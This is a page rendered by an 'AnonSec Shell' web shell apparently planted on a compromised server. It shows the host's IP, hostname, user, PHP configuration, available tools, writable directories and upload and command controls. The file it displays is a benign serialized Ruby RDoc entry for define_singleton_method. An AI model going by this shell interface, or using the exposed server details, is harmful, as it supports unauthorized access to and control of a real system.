AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Object/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Object/define_singleton_method-i.ri
U:RDoc::AnyMethod[iI"define_singleton_method:ETI"#Object#define_singleton_method;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[I">Defines a singleton method in the receiver. The _method_ ;TI"Iparameter can be a +Proc+, a +Method+ or an +UnboundMethod+ object. ;TI"<If a block is specified, it is used as the method body.;To:RDoc::Markup::BlankLineo:RDoc::Markup::Verbatim;	[I"
class A
;TI"  class << self
;TI"    def class_name
;TI"      to_s
;TI"
    end
;TI"  end
;TI"	end
;TI"-A.define_singleton_method(:who_am_i) do
;TI"  "I am: #{class_name}"
;TI"	end
;TI""A.who_am_i   # ==> "I am: A"
;TI"
;TI"guy = "Bob"
;TI"Eguy.define_singleton_method(:hello) { "#{self}: Hello there!" }
;TI"*guy.hello    #=>  "Bob: Hello there!";T:@format0:
@fileI"proc.c;T:0@omit_headings_from_table_of_contents_below0I"kdefine_singleton_method(symbol, method) -> symbol
define_singleton_method(symbol) { block } -> symbol
;T0[I"(*args);T@"FI"Object;TcRDoc::NormalClass00

Anon7 - 2022
AnonSec Team